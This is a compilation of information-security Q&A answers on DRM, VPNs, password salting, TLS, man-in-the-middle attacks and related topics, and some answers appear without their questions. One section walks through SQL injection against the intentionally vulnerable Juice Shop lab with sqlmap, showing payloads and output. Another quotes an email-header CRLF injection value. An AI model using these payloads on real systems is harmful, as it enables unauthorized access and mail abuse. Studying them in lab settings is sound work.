With modern encryption techniques (1 way hashing and CBC) there isn't an easy way to notice repeated words.


How to detect if files were saved or copied from an external hard drive/USB?

Reading the file is copying it into active memory.

Once the file is in active memory, you can't control what happens next.

There are special platforms which perform DRM (Digital Rights Management) which can make it far more complex for people to take copies of your file.  Snapchat has some controls like this, as does the Kindle reader.  Encryption, proprietary protocols and control over the software and or hardware are required.

There are online services such as https://digify.com/product.html which do something like this too, not by USB of course.

This kind of control is really only effective at keeping honest people honest.  Even if they haven't hacked the software or have a technical circumvention,  a motivated person could always photograph the document from the screen.

See the measures taken in the TTIP as an example of somebody trying to solve this issue:  http://www.independent.co.uk/news/world/europe/ttip-controversy-secret-trade-deal-can-only-be-read-secure-in-reading-room-in-brussels-10456206.html

  "In the basement of the US capitol, there is a room, a locked soundproof room, and the only people allowed in this room are US senators, and they can't bring their assistants, they can't bring their phones, they can't even take notes in there."


How to prevent Source code excessive usage and redistribution?

We are selling our machine learning code to a company. we only want the code to be ran a specific number of times .and only on specific machine. the company that we sold the code to has their firewalls implemented so we cannot connect or make code to send any information back to us . My question is how can we restrict excessive usage and redistribution of our code in this case.

You can't.
You are giving them (obfuscated) source code. Well, fire it up in a debugger, run it for a hundred times, and figure out what it stops on the 101st time. Remove. Lather, rinse, repeat.
There's two ways to solve this:

Enforce it legally, via contracts and auditing.
Sell it as a service. Run the code on hardware you know, and bill per execution.

With the constraints you have given, there's absolutely no way to enforce it technically.


I have found a working solution with the help of the other answers.

I removed the "secret keys" (the link to the old YubiKey) with gpg --delete-secret-keys <ID>
and then linked GPG to my new YubiKey with gpg --card-status while only the new one is attached.
But I think this solution is only working as expected if no secret subkey is stored at the maschine / if all subkeys are managed by the YubiKey.


If I install a certificate for the purposes of logging into a Wifi connection, is it still safe?

Most large networks will use a firewall or proxy to perform web content filtering. HTTPS pages can cause issues as the data on the page is encrypted. So I would assme that the pages that give you a red error are HTTPS pages. The reason for this is because the firewall acts as the client and decrypts the page to check it for viruses and against the network policy and then serves you the page under its own self signed certificate.

A large University should be safe however it is up to you as they are effectly decrypting the data so they could read your passwords and data etc. However there are laws to prevent this.


Can my company track my web history when Opera VPN is active?

Long story short, it was a personal computer (not a work computer). It was on a company network with validation. Opera VPN was open.

  1) Is it possible that my visit didn't get logged in history as i mentioned above ? (due to fact that VPN was trying to start up and i closed the browser immediately)

With a VPN in place (although I am not sure of the details around Opera's VPN) it is very unlikely that anything related to that visit would have been logged anywhere other than your browser.

  2) Can Opera attempt to send that request without VPN as i open browser when VPN starts up?

Entirely dependent on how it's implemented. If I were to guess, I'd say no, as that would have been a pretty big flaw in the process. If the VPN is meant to ensure access isn't logged, if the feature is enabled, reasonable effort should be implemented to ensure that access outside the VPN does not occur.

  3) Do you think it was logged by my employer?

No.

  4) What should i do in this situation? (It was a total mistake, i didn't attempt to visit any NSFW website at work, i just forgot to close it and i didn't stay there even a second. I even didn't get to see if website was blocked or not)

Don't worry. It's even likely that the wireless network you connected to is designed to have untrusted peers with limited bandwidth and potentially few or no content filters.


How is the security of SSH affected in the presence of a passively monitoring MITM?

I don't know internals of ssh protocol, so my answer is based on general knowledge of cryptography and isn't guaranteed to be right. Well, nothing is.

If the initial ssh key was generated in some "bad" way, then it might be possible or might be impossible for attacker to decrypt your initial connection to the server (it depends on how the session key is generated in ssh - thing that I don't know).

If you regenerate the ssh key on server in a right way and reconnect to the server then, I believe, the eavesdropper wouldn't be able to decrypt anything inside you ssh connection. Since the new key is "good" and the eavesdropper doesn't know it's private part (it wasn't transferred over the network, only it's fingerprint was).

That should be right if the attacker is eavesdropping only. If he can actively tamper with your traffic you have no security guarantees in any of the two cases:

the initial key was generated "badly"
admin doesn't know the key fingerprint from trustful source before connecting for the first time


The nature of an exploit using an image often is a buffer overrun, for instance:

Buffer Overrun in JPEG Processing (GDI+) Could Allow Code Execution (833987)

To defend against such an attack, all practices and techniques to detect attacks on the stack and heap of your image processing programs will help. Rigorously checking the source code is the first step. Other means include hardening OS and even using special hardware is an option.

A nice overview can be found in this paper on buffer overruns.


Can a MitM attack occur on an ISP's local exchange or street wiring cabinet?

Absolutely.

In practice, though, this is a complex and very risky attack - probably going to be easier to do something else.


How does malware connect to FTP servers without revealing credentials to the victim?

You are implying that knowledge of the server and the FTP credentials is sufficient to attack the server or account. I'm note sure what kind of attacks you envision but:

The credentials might also be used for this specific FTP account, i.e. no SSH access or similar to the server is possible
The credentials might also be sufficient for uploading data to the server but not for directory listing or downloading data. This write-only mode is actually not that uncommon with FTP, often combined with allowing anonymous uploads into a special incoming directory. This is sometimes called a "blind drop".

Assuming that these credentials are only for this server and only usable for write-only access to FTP I cannot see really useful ways to attack the server, apart from denial of service attacks.


Firewall topologies (Screened Host vs Screened Subnet vs Dual Homed Host)

Look at this wonderful documentation.

Your scheme is not one of the three you said because I guess between your server and your other internal machines there is no firewall between them. So, your topology is very simple and is Screening router corresponding to this picture:

As they explain there, your topology is the cheapest (and least secure) setup. Anyway is very normal to have this at home.


ACME protocol without LetsEncrypt, using dedicated CA

You seem to have a fundamental misunderstanding of which parts need to be secure.  It doesn't matter if others get the CSR (it does matter if they can tamper with it) or the CRT.  You are going to turn around and publicly share the certificate with everyone in order to make use of it.  You should never be transmitting the private key and the ACME protocol does not require this.

What DOES need to be secure is that you need to ensure that the challenge is not tampered with.  If a challenge is tampered with between the ACME server and the client, it would be possible for an adversary to trick the legitimate client in to answering the challenge for the attacker so that the attacker can be issued a certificate by the server for their own private key.

You can use SSL with a pinned certificate to ensure that you are actually talking to the real server when receiving the challenge they issue for your particular CSR.  This will allow establishing a secure connection with the server such that you can verify that the CSR is unaltered in flight and that the challenge provided is the one for your CSR.


Is it secure to transfer an RSA private key over the network?

While the likelihood of it being compromised is small, you're better off generating it locally so that the RSA private key never leaves your system. This way you only have to upload your public key to the server.

I wouldn't be too concerned about the TLS layer and data in transit, but I would be more concerned about private key data being remnant on the server, or cached in your web browser.


Hardening SSL/TLS on Azure Cloud Service for A+ on Qualys SSL Labs?

First, for an analysis of TLS version and cipher suite selection, see my answer to Now that it is 2015, what SSL/TLS cipher suites should be used in a high security HTTPS environment?

The summary is: TLS_DHE_* and TLS_ECDHE_* support PFS, but AVOID DSS, RC4, and so on.
The reason you're getting points off for not having FS with some browsers is the TLS_RSA_* cipher suites; take them out of your startup script.

Then, for an additional technical "how do I do this on Azure", please read How do I configure Perfect Forward Secrecy in Windows Azure (OS, or Websites)

The summary is: Run an Azure startup task like the one in this NuGet package in this Codeplex project, and make sure to disable SSLv3 entirely.

It sounds like your startup script is already doing a lot of this, which is great!

As far as TLS_FALLBACK_SCSV goes, your best bet is to get all your friends to give your feedback to Microsoft regarding the TLS_FALLBACK_SCSV Connect entry


Is it a good idea to use the user's username as a salt when hashing a password like hash(username_str + password_str)?

The primary characteristic of a salt is that it should be globally unique for each user's password hash.  It need not be secret, and a username will certainly not meet the required criteria of uniqueness. A shared secret string (used for all users) is not a salt, but a pepper, and has not been demonstrated to add any security over unsalted passwords, and so is not a viable option.

One construction that has the property of being particularly likely to be globally unique is random data of reasonable length.  The salt doesn't actually need to be random, but a random value, generated individually for each user gives us reasonable assurance that we have the uniqueness we need.

There's a bit more in this answer:  What should be used as a salt?


Get user real IP address if he is using VPN and Elite Proxy

The whole point of a VPN is to ensure that you can't do this. For most cases, you should just consider this to be impossible, and look at other ways to force the user's hand like:

Blacklist all well known edit nodes and VPN server exit IPs. Then tell the user to turn off their protection to use your site - imgur does this.
If it's because of a legal issue, you may want to get your lawyer to contact the provider and ask for the user's IP. This is a remedial measure, and you may not always get lucky - especially if the provider is in another jurisdiction.

If you have other information like the user's screen resolution, device, make, browser etc . - you can use them along with the other two options to narrow down your list of possible users.


Are there any quick-erase devices with a small memory available for storing key information?

Try to make your own key from ATMega/STM32 ARM chip:

you make it as an USB slave (peripherial) device
it has an EEPROM with the key, so you have a jumper you're removing after storing the key
it has a battery inside
an "emergency wipe button* starts an EEPROM filling with random data circuitry
(optional) after some wiping cycles it uses an overvoltage techniques to burn an EEPROM chip to hell and/or overheating its case top surface to make it unrecoverable even with a newly described method of removing a chip's top cover layer by layer

It's not an obvious Google-it task, but should be no problem. Good idea, by the way! Maybe I'll make such a device myself!


How do certificates stop this man in the middle attack?

No actual security system works like you describe, for exactly this reason. The certificate is not used to encrypt the shared secret to verify that they have the same secret; that would be pointless (you might as well just have one side generate the secret and send it encrypted with the other side's public key). When the shared secret is generated using data not in the certificate, the role of the certificate is to sign that data; a rule of thumb is that you should never accept any input to the key generation process that didn't come from you and isn't signed by a trusted public key (with TLS the CA keys come preloaded into a browser, so they're trusted; the CA-signed certificate then establishes trust in Bob's public key).

In this case, the actual way the communication would work is:

Alice sends Bob A. Eve intercepts it and replaces it with E.
Bob sends back a certificate, B, and a signature for B that can be verified with the certificate. The certificate is for a signing key, not an encryption key (with RSA the difference is just what you designated the key for, but there are algorithms that are encryption-only or signing-only).
Eve intercepts that and replaces B with E. However, she can't sign E with Bob's private key, so she either changes the certificate and signs E with the new one, or leaves the certificate as-is (but doesn't create a new signature with it, because she can't).
Alice sees that either the certificate isn't signed by a CA, or that the signature verification fails (the signature is not a valid signature of E).
Alice terminates the communication, because she knows it's being tampered with.


Best way to store client side Encryption keys

For each of the operating systems you've listed, you should leverage the operating system's built-in secure storage for the keys rather than attempt to "roll your own" solution.

In general, it is not seen as a best practice to use your own encryption as you will continue to have to support, and debug your implementation which may have unforseen vulnerabilities.  Instead, it's a best practice to leverage the native tools at your disposal for secure storage.

For iOS, this would be the keychain.  For Android, this is known as the keystore.  For Windows Phone 8.1+, this is known as the "Credential Locker."

These systems generally work by encrypting the private data in a small database on the device, and then restricting access to it to authorized applications only.  This makes it much more difficult to get the private key off of the device without rooting/jailbreaking the device, etc.

You should also be generating unique keys for each device that receives these files.  Having a hardcoded string in the app (rather than in a config file) is dangerous because once that key is compromised, all users are compromised.  Check for correct use of SecureRandom or similar cryptographic libraries to ensure you're generating unique, near-impossible-to-crack keys.


What threats come from CRLF in email generation?

Depending on how your application creates the actual RAW email request, it may be possible to insert line feeds to modify the recipients, CC, BCC etc.

Check out this example:

  In this context, the target is to be able to send anonymous emails to
  other recipients. There are numerous additional fields that can be
  specified in the mail headers (see [ RFC 822 ]). For example 'Cc'
  (Carbon Copy), which sends a copy of the message to the email
  addresses given as arguments. A better choice is to use the 'Bcc'
  (Blind Carbon Copy) which sends a carbon copy of the message just like
  with the 'Cc' header, except that the recipiends email addresses given
  as arguments are not shown to the multiple recipients' headers. As
  specified in the [ RFC 822 ], one must add a line feed for every
  header. The  (line feed) char has a hexadecimal value of 0x0A.

  Sender: "sender@anonymous.www%0ACc:recipient@someothersite.xxx%0ABcc:somebloke@grrrr.xxx,someotherbloke@oooops.xxx"

  Subject: ahem
  Message: "My Message"

will result in

 To: recipient@victim.xxx
 Subject: ahem
 From: sender@anonymous.xxx
 Cc:recipient@someothersite.xxx
 Bcc:somebloke@grrrr.xxx,someotherbloke@oooops.xxx

 My Message...

Also, check out some OWASP Guidance, and some examples under CWE-93.


Are single case alphanumeric passwords the most user friendly?

If you want the password scheme to be most user friendly, then you got to let the user choose what he/she wants instead of enforcing such a limitation by second-guessing what the user might prefer.

Every human is unique. Some may prefer a short complicated password that can be entered quickly by virtue of pure muscle memory while others may prefer a passphrase that can be stringed into a song.

I think developers should respect that instead of trying to fit us all into a mould.


Pseudo-Unique PICC Identifier in Passports/ID Cards

Yes, it's possible to have a PUPI collisions. (It's called pseudo-unique, after all, not unique.) This can happen with probability 2-32 if the PUPI is chosen randomly, or more if it isn't. The question is, so what? How is a PUPI collision harmful?

The primary intent of the PUPI is to be unique at a particular point in space-time: an RFID reader emits a “hello y'all” signal (REQA or REQB), and all the cards that receive this signal respond with a message (ATQA or ATQB) containing some type identification information (e.g. “I'm a German ID card”) and a PUPI. The reader may then decide to start a conversation with one of the cards that are in range, and it uses the PUPI to identify which of the cards it will talk to. It's irrelevant whether the reader has talked to different card with the same PUPI in the past, or whether there's another card reporting the same PUPI to a different reader.

If there are two cards in range with the same PUPI, it's likely that the reader won't be able to communicate with either (both would reply if prompted). Having multiple cards in range is supported in principle, but isn't guaranteed to work anyway: it requires the analog signal to be of good enough quality, and depends on how much interference there is (due to opaque or reflecting objects in the vicinity, among others). While a card attempting to trigger PUPI collisions is a DoS, there are worse ways to cause a DoS (it's radio, so it can be jammed).

Another element to the PUPI is privacy: if a card always reports the same PUPI, it's easier to track it. But you can already track a card by type: the PUPI only matters if there are several cards of the same type in the same general location. Ideally, the PUPI should be randomized at each powerup (I don't know if German ID cards to that), or should be identical on all cards (which would also ensure privacy but could cause collisions if there are several ID cards in close proximity — not a very common occurrence in day-to-day situations).


How would someone find a phone number after they change it?

The service provider can sometimes retain that same number, and when a person attempts calling it again the service provider may redirect the call to the new number, as they would assume the person calling is trying to get in contact with the person whom changed their number.

A precaution would to be to contact the service provider (assuming you are a legal figure) and tell them to disallow any further phone number changes.


Using sqlmap for detecting SQLi on Juice shop's login page

First of all always try to minimize usage of --threads when you are facing problems and consider testing with something like --delay=1 as the service might not work normally in high load.
I started Juice with:
docker run --rm -p 3000:3000 bkimminich/juice-shop

Then when I try to login with invalid creds:
POST /rest/user/login HTTP/1.1
Host: 192.168.2.82:3000
Content-Length: 46
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Type: application/json
Origin: http://192.168.2.82:3000
Referer: http://192.168.2.82:3000/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: language=en; welcomebanner_status=dismiss
Connection: close

{"email":"user@example.com","password":"test"}

And notice error message from the application:
HTTP/1.1 401 Unauthorized
<snip>
Invalid email or password.

When I repeat the query with ' in email parameter:
{"email":"'","password":"test"}

We will observe following response from service:
HTTP/1.1 500 Internal Server Error
<snip>
  "error": {
    "message": "SQLITE_ERROR: unrecognized token:
<snip>

Then we can start exploiting it with sqlmap. We are using --dbms=sqlite to reduce amount of queries and we are ignoring failed logins causing 401 responses. By default sqlmap will stop testing in case of 401 responses.
./sqlmap.py -r query.txt --ignore-code=401 --dbms=sqlite

Where query.txt content is:
{"email":"user@example.com*","password":"test"}

Result should look like:
$ ./sqlmap.py -r query.txt --ignore-code=401 --dbms=sqlite
<snip>
[04:44:10] [WARNING] (custom) POST parameter '#1*' does not seem to be injectable
[04:44:10] [WARNING] HTTP error codes detected during run:
401 (Unauthorized) - 135 times, 500 (Internal Server Error) - 19 times

When we run sqlmap with following command line:
 ./sqlmap.py -r query.txt --ignore-code=401 --level=5 --risk=3 --technique=B --dbms=sqlite -t traffic.log

We can actually see following in traffic.log:
{"email":"user@example.com-5400' OR 3083=3083-- LNfg","password":"test"}

With response:
{"authentication":{"token":"x","bid":1,"umail":"admin@juice-sh.op"}}

But for some reason sqlmap doesn't detect that as a vulnerability. Feels like a bug, but not sure why this happens exactly. Need to investigate more.
If we run following we can find the vulnerability as time-based blind:
$ ./sqlmap.py -r query.txt --ignore-code=401 --level=5 --risk=3 --dbms=sqlite -t traffic.log
<snip>
sqlmap identified the following injection point(s) with a total of 694 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
    Type: time-based blind
    Title: SQLite > 2.0 AND time-based blind (heavy query)
    Payload: {"email":"user@example.com'||(SELECT CHAR(79,100,67,109) WHERE 8186=8186 AND 9788=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))))||'","password":"test"}
---
[05:30:04] [INFO] the back-end DBMS is SQLite

UPDATE: I submitted this case as an issue to sqlmap GitHub project. See: https://github.com/sqlmapproject/sqlmap/issues/4671
2nd UPDATE: This has now been fixed in upstream.


Enabling port forwarding on port 53 on a DNS server, why is it a risk?

It's all about recon.  The more an attacker can map your network, the better off they are.  This can be especially sensitive if you have static IP's that don't move around.

DNS servers, given you do not separate out recursive services from SOA (given you have any), can be used for various attacks that will affect hosts on your network such as cache poisoning.

Not to mention, that by opening up your DNS server with little config tweaking (rate-limiting, ACLs, etc.), you are opening yourself up for DNS Amplification and Reflection attacks similar to what is being seen with NTP lately.  Examples and explanations of the NTP reflection can be found here:
https://isc.sans.edu/diary/NTP+reflection+attacks+continue/17654

If you would like to know how to best secure your DNS server, I point you to the following document that the NSA published on securing the DNS architecture.  All NSA jokes aside, this is some very good information that falls inline with industry best practices.  The document can be found here:
http://www.nsa.gov/ia/_files/vtechrep/I733-004R-2010.pdf


How easily will the vBulleting data from vBulletin and Foxit be cracked? What data is at risk? How was it encryted?

I don't have a copy of vBulletin myself to inspect, but multiple sources claim that their hashing scheme is:

  md5(md5(password)+salt)

This is unfortunate seeing as md5 has some documented weaknesses, and is also a "fast" hash. Hashing processes used for passwords should be slow to make brute force attacks slow (and hopefully practically impossible).

The good(ish) news is:

a. They were hashed and not stored in plain text

b. They are salted so a plain rainbow table attack probably won't work

The main threats are brute force attacks (especially dictionary based ones).

Hashcat has been benchmarked to 8,581,000,000 md5 hashes/second on basically a regular gaming PC. Assuming that the salts were exposed in the dump, an a-z password and 2 x md5 operations are required per combination then it would take about 48 seconds to brute force an 8 character password or 9 hours for 10 characters. Dedicated cracking PCs are considerably faster, and a dictionary based attack would be much much faster again.

Unless you have a very long password and you're certain it's not going to be in a dictionary, I'd consider your password compromised. In practice, I'd consider your password compromised regardless.


Is there a risk on user's private data when android App got permission to access hardware without accessing user's data?

All "hardware access" from an app is actually access to an abstraction provided by device drivers and/or HAL. In principle, this seems a safe assertion to make - especially with the first use case below. Beyond that, it's paranoia. :)

User's existing data is not at risk if the hardware access doesn't indirectly provide access to the data. e.g., microphone / speaker access may be considered okay.

What if the hardware can indirectly access the data - e.g., if it can access the networking hardware (wifi for example), can we assume that it is actually accessing a driver which is a high-level abstraction of the device? If so, does the abstraction isolate the app? What if the access is to the baseband radio? Can it make a network request (e.g., international call) and infer user info (e.g., "does the user's plan permit international calls"; or combine two accesses - make a VOLTE request - and obtain prepaid balance info from the LTE stack?)

The other extreme of the paranoia is about - with access to the camera and microphone, can the app deduce user info by making additional requests to biometric identification databases (lame example: can facebook identify the user even if logged in with a different persona?)


Attack surface for a site that hosts only static content HTML and images?

Even when there is no vulnerable web application, there is still plenty of other code which could be vulnerable.

The static content has to get onto the server somehow, for example via FTP or a password-protected web interface. The password for these might be too weak or these services might have other vulnerabilities.
The web server itself might have a vulnerability which still applies in this limited use scenario.
The operating system of the webserver might have vulnerabilities
Or the operating system might offer some form of remote login (like SSH on UNIX, RDP on Windows or VNC on either) which is insufficiently secured.
And then there is also physical access to the hardware of the server.


Validating a certificate chain without x509v3 Subject Key IDs

Turns out I did a bunch of work reinventing the wheel.

openssl verify -CAfile CA_bundle.crt somedomain.crt


Scan the codebase for username passwords

I'm going to go off tangent here and answer the real problem rather than your presupposed solution.

The way to prevent production credentials from being checked in code repository is to not let developers have production credentials in the first place during development. Have separate development and production credentials and possibly a separate development and operations team. Developers have the ability to check in code but doesn't have access to production environment and doesn't know production credentials; operations have access to production environment and production credentials, but only read access to the code repository. The few people that needs to act as both developer and operations, need to be properly trained to separate development and operations role.

To make this separation easy, you should also never check in the config file to code repository. Instead have an example config and when deploying to new environment, operations should copy this file and modifies that. Developers need to be trained to copy over config changes (e.g. new config entries) to the example config to make an example in the example config.


Authenticate that I am the poster of a certain anonymous message

If you want to publish your script, then you should do it the other way around: Put the public key into your script and keep the private key to yourself.

Sign your messages with your private key. The script can then be used to verify that those signatures come from you.


How to store a private RSA key for an application?

Expect it to be compromised.  There isn't a good way to do anything other than obfuscate a private key.  The best bet is probably to store it in the cryptographic library of the system that the software is running on.  If you're lucky it might have a TPM or HSM that can store the key securely.  What are you trying to accomplish with the private key?  That might help give better feedback on the best way to securely accomplish your goal.


What steps need to do to identify security hole

Unfortunately, the log entries you show do not necessarily relate to the vulnerability which allowed the attacker to enter in the first place. These logs show that the attacker pushed an infected file on your server and then used your server as an helper host in order to infect other people -- your server was used as a simple file server. The URL beginning with "http://", then your IP address, then a "/", then a "seemingly honest server name", is an obvious attempt at making human users believe that they are downloading the file from an official iTunes source, and not your server.

The fact that the file was located within the ZPanel directories may indicate that the vulnerability used by the attacker did not grant him full access, but only allowed him to push a file of his own, in a directory that the attacker does not fully control. This would be a good case for you: it would mean that the vulnerability is indeed in ZPanel, and that your machine may be salvageable (i.e. it was only partially breached into). Note that a few Google searches reveal that the security of ZPanel is being questioned.

However, we cannot logically exclude a darker scenario, where the attacker took full control of the machine, and pushed the file in the ZPanel directory only so that you would have low probability of stumbling upon it yourself. If that is the actual scenario, then you will have to reformat the complete server (the "nuke for orbit" cure).

In any case, in order to identify the first vulnerability, you have to look for earlier log entries. The dates of creation / modification of the file on your filesystem may give clues as to when the file was pushed on your server. This may have happened quite earlier (the attacker may have left the file "dormant" for some days or weeks before actually using it for his phishing scam).


How Big are Antivirus Definition Databases?

ClamAV's database size from their update server is 109.1MB as of today. These signature databases are created and stored in such a way as to compress them, as you can imagine.

ESET says their updates (performed 2-3 times a day) are 60KB in size on average (though can be bigger).

Installations would only include the binaries to install the program, and the program would contact the update server to retrieve the latest database, also as you would imagine.

These databases are the intellectual property of the AV vendor and represents one of the unique values the vendor provides with the product, so they will not be forthcoming with all the details about how they manage their databases. But open source programs provide a glimpse into one method for how they might work.


How to achieve authentication using symmetric cryptography

HMACs are suitable for asserting both message integrity and authenticity, if properly implemented. However, in the context of a conversation, the "hashed" component might draw focus as being more integrity-focused, and thus be talked about in that way.

It's really difficult to answer your question of "how to use it correctly", because we don't know anything about your use case. Without knowing more, it's also difficult to determine whether there are better alternatives.


Why is Firesheep Unable to Session Hijack over SSL?

It needs to read the content of the HTTP transactions between the victim's computer and the remote server. SSL features point-to-point encryption using a key that's negotiated by the two systems, so a third system passively eavesdropping cannot read the content.

Note that it is possible to inspect SSL content by interposing the attacking system between the two parties. This is called man-in-the-middle, and is used by corporate content filters so that they can filter both HTTP and HTTPS communication.


Is Google Drive For Business considered non-public storage?

Google states on their help site

When you upload files to Google Drive, they are stored in secure data centers.
 If your computer, phone, or tablet is lost or broken, you can still access your files from other devices.
 Your files are private unless you share them.


Truly Disabling Session Tickets in Windows 10 Schannel

I'd recommend if possible that you use Disable-TlsSessionTicketKey from powershell instead of the global disable.

This affects the service account specified, preventing it from decrypting existing TLS session tickets and does not affect anything else. This method makes it easier to protect a specific service that we know it could represent a vulnerability, while not preventing other services from using the feature.

Otherwise, you can set

HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\MaximumCacheSize to 0

and

HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\ServerCacheTime to 0

and by preventing any caching the ticketing feature will not work. This is sufficient to prevent it from working.
The disadvantage of this may be latency in the case of heavy TLS usage.

Note that the setting "EnableSessionTicket"=dword:00000002 does NOT disable ticketing, it disables the session ticket TLS optimization. Logically, if you'd want it disabled you could set it to "0", but as I mentioned it is not necessary if there is no caching.


Someone is injecting malware into my website

how on earth someone is able to upload a malware which gets downloaded automatically when an APK is accessed! Even when there is no permission for him to write to that directory!

The files might not be served from the directory you think at all but might be hidden somewhere else. This can be done by either changing the configuration of apache or some other files on the system or by injecting code into the apache process itself. For more details read about Darkleech or apache binaries with backdoors or recent attacks against wordpress sites.

  And my website is not even that popular, don't know why the hacker is wasting his time and mine in being so aggressive, but he does seem highly motivated as he is doing this consistently since the last 2 months.

Attackers are always looking for sites which are not blacklisted by anti-malware solutions. It does not matter how popular they are because they are usually just one step inside a phishing or malvertising campaign, that is the user gets directed there by the attacker.

  Apache cannot write on any of the folders now, removed all PHP scripts last week and I thought that should safeguard my website from future attacks.

I suggest that you reinstall the whole system and make sure that the usual attack vectors are closed (i.e. weak passwords, insecure wordpress installations etc). It looks like the attacker has compromised your system more deeply than you might think.


cookie path protection within same domain

The cookie path doesn't provide any security (in most real-world situations).

It is important to understand that the cookie spec is ancient technology.  It dates back from the earliest days of the web.  The security model of the web has evolved since then, and become more carefully thought-out.  The security model for cookies hasn't evolved correspondingly.

As another example of impedance mismatches between the web's security model and cookies, the same-origin policy treats www.example.com:80 as a different origin from www.example.com:81, but they are treated as identical for purposes of cookies.  You can find more discussion of security oddities with cookies from Michal Zalewski.

Cookies can be read by Javascript.  While the browser may take the path into account when Javascript tries to read cookies, this is not a security feature: the path is not a security boundary, so malicious Javascript on one page can still read cookies for other paths (e.g., by opening an invisible iframe with the proper path, injecting malicious Javascript into it, and then grabbing the cookie).  The only effective security boundary is at the granularity of an origin.  As a result, the bottom line from a security perspective is: malicious Javascript on www.example.com/dogs can read a cookie whose path is www.example.com/cats.

In practice, developers typically avoid these corner cases that are left over from earlier days, or at least avoid relying upon them to provide extra security.  For instance, web developers should not rely upon the cookie-path to provide security (at best it reduces the number of cookies sent back, which could perhaps be used to reduce bandwidth in some situations).  As another example, sites these days usually avoid serving content from non-standard port numbers, since that situation is another corner case that exposes unexpected semantics.

At this point, the cookie path is mostly a vestigial remnant of earlier days.  It doesn't serve much purpose any longer, as far as I can tell, and if the cookie-path had never been introduced, today you'd probably never notice.  But browsers still need to support it, for backwards-compatibility reasons.  And so it goes, on the web.  It is best to think of the web not as a carefully designed artifact but as something that evolved over time -- and as a result, has accumulated now-useless gunk, like our appendix.


Is there any security reason to not post your IP address somewhere?

IP addresses are the identity of your server (kind-of). Giving information about you IP address can be useful to someone that would try to directly attack you.

By looking up your IP address over the internet, one might find information you left there (server config files, availble services, hardware ...) that can be use to passively gather intel on your potential vulnerabilities. This can be done because the IP is tied to the information (over forums or others), or because you know tied your own identity to this IP. Then one might get more information by tracking you instead of the IP.

Furthermore, this increases your 'visibility' by giving up a valid target in the open.

IP addresses are indeed public, and intel can be gathered many ways, but this is not a reason to make it easy for attackers to learn more about your infrastructure.


What are the likely effects of increased government spending on "Cyber Weapons" on the software industry?

I think the most likely outcome would be delayed patches to fixes at the behest of friendly governments. Consider:

Deliberately introducing flaws is not an easy thing. Anyone from the organization could look at the code and see the flaw - so the details might leak.
Continuing point one, if the flaw causes an issue for customers, that would be bad rep for the company.
Protectionism exists already in other industries.
I assume governments do a cursory check of what they install, just in case.
Governments probably use air gaps for anything important. That would reduce the likelihood of the exploit being exploitable if the air gap is properly maintained.

All of this boils down to one thing: the least worst course for a software company that wishes to help a government is to let them find the flaw, and then not patch it for an agreed window especially if it doesn't cause any issues.


Detect SSH InBound / Oubound Connections

This can probably be done with the Snort Intrusion Prevention System, though Snort rules for SSH are generally used for things like brute force login detection and seeking SSH exploits.

However, I think you'll find that being too draconian, especially on sysadmin-type employees, will likely trigger attrition.  Set a corporate policy if you must, but don't enforce it so strictly.


Postgres uses MD5 as algorithm with the username as "salt".

Using a salt normally prevents computation of hashes, for example in rainbow tables. Using the username as salt only partially covers this problem. It is possible to precompute hashes for common usernames, such as "root" or "postgres".

Furthermore, MD5 is one of the fastest cryptographic hashes there is. It is possible to calculate 10¹¹ MD5 hashes per second. This makes it possible to crack the passwords using a brute-force attack, i.e. trying many passwords. Modern password hashing functions are designed to be slow, so that a brute-force attack takes a long time.

In my opinion the Postgres password storage technique does not conform to modern security standards. You can mitigate this by using a long, random password and not reusing that password anywhere else.


What buses carrying sensitive information on a running computer are vulnerable to sniffing?

Well, when talking about the internals of a computer, Any access point you can access physically without pulling hardware out, so basically anything you can attach a probe-lead to without causing a short.
So what can what is not accessible.

CPU, this is often only available for sniffing from when using specialized equipment in between the CPU and the main-Bord.
Memory, while individual memory are more or less accessible, often this is hard to actually do due to the small size of the legs and require a microscope to properly connect without short
PCI, Often only the external and diagnostics ports are available, rest has the same issues as Memory and CPU.

All other data carrying cables and diagnostic ports are available. its just a matter of connecting the leads and stripping the cables without causing shorts and without disrupting the running system. And all of these attacks require physical access to the machine and leave evidence on the machine after you're done.
Higher data rates require better recording equipment so, just because of the high rate does not mean you're safe. But the price of such equipment is such that when these become an issue you should also worry about man putting guns on your face to get the information you have. (e.a. big government threats)


Clamping the array index - is this a good idea for the Javascript Spectre mitigation?

A similar approach was taken by WebKit developers, among other means, to mitigate possible effects of Spectre.

See: "What Spectre and Meltdown Mean For WebKit", paragraph "Index Masking".

Note that index masking is different from your proposal in that it doesn't require to allocate 2N bytes for each array (in worst case, almost twice as much as required), thus still exposing a (somewhat limited) portion of information to an attacker, but reducing the amount of data allowed for an attacker to read overall and saving some memory for the sake of effectiveness. For large arrays, they might put some faith in ASLR which makes it less likely there would be an allocation within index mask reachability.

Nevertheless, what exactly could be exposed to an attacker this way in WebKit depends on their architecture and code base; yours may be different.

Regarding the effectiveness of allocating almost twice the requested memory in worst case, it is worth mentioning that the ideal array growth rate is close to 1.6 and the growth factor of 2 is widely used but much less effective.

However, assuming Linux, there's probably a trick that could be used to reduce the amount of memory being lost while still being safe from speculative out-of-bounds reads. You can try writing a custom allocator that, for arrays at least larger than 2*page size (the latter is 4K under most circumstances, but more strictly, sysconf(SC_PAGE_SIZE)), will firstly parse /proc/self/maps to find an unmapped memory region of a size at least 2N bytes, N >= log2(array_length), and then map only the required size via mmap(MAP_FIXED).

Some subsequent work would be needed to ensure that no memory would be mapped within 2*length of any array allocated before, but this is still not a rocket science.

The memory pages allocated and returned to you will be consecutive in virtual memory, but are not required to be consecutive in physical memory, thus this approach wouldn't cause the physical memory fragmentation. The subsequent virtual memory fragmentation wouldn't probably be an issue on a 64-bit system any time soon, as 16 Exabytes of total addressable memory ought to be enough for anybody.

Other operating systems probably have tools similar to Linux's.

Regarding WebKit, as it also features other mitigations, which are, as of now, meant to be enough for the effects of Spectre themselves, index masking is rather excessive mitigation for them, and their approach is fine for their remaining threat model.

Your threat model, however, could be different. That's all we know.


Manage Browser Cookie Editing for web application in .Net Mvc

